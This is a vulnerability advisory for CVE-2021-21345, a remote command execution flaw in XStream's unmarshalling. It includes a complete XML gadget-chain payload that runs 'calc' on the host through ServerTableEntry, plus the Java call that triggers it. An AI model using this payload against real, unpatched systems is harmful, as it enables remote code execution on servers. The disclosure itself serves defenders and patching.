## Vulnerability

CVE-2021-21345: XStream is vulnerable to a Remote Command Execution attack.

## Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of a local command on the server.

## Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <java.util.PriorityQueue serialization='custom'>
      <unserializable-parents/>
      <java.util.PriorityQueue>
        <default>
          <size>2</size>
          <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
            <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
              <packet>
                <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                  <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                    <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                      <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                        <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                          <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                          <uriProperties/>
                          <attributeProperties/>
                          <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                            <getter>
                              <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                              <name>verify</name>
                              <parameter-types/>
                            </getter>
                          </inheritedAttWildcard>
                        </bi>
                        <tagName/>
                        <context>
                          <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                            <outer-class reference='../..'/>
                          </marshallerPool>
                          <nameList>
                            <nsUriCannotBeDefaulted>
                              <boolean>true</boolean>
                            </nsUriCannotBeDefaulted>
                            <namespaceURIs>
                              <string>1</string>
                            </namespaceURIs>
                            <localNames>
                              <string>UTF-8</string>
                            </localNames>
                          </nameList>
                        </context>
                      </bridge>
                    </bridge>
                    <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                      <activationCmd>calc</activationCmd>
                    </jaxbObject>
                  </dataSource>
                </message>
                <satellites/>
                <invocationProperties/>
              </packet>
            </indexMap>
          </comparator>
        </default>
        <int>3</int>
        <string>javax.xml.ws.binding.attachments.inbound</string>
        <string>javax.xml.ws.binding.attachments.inbound</string>
      </java.util.PriorityQueue>
    </java.util.PriorityQueue>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

## Impact

The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream.

## Workarounds

See workarounds for the different versions covering all CVEs.

## Credits

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.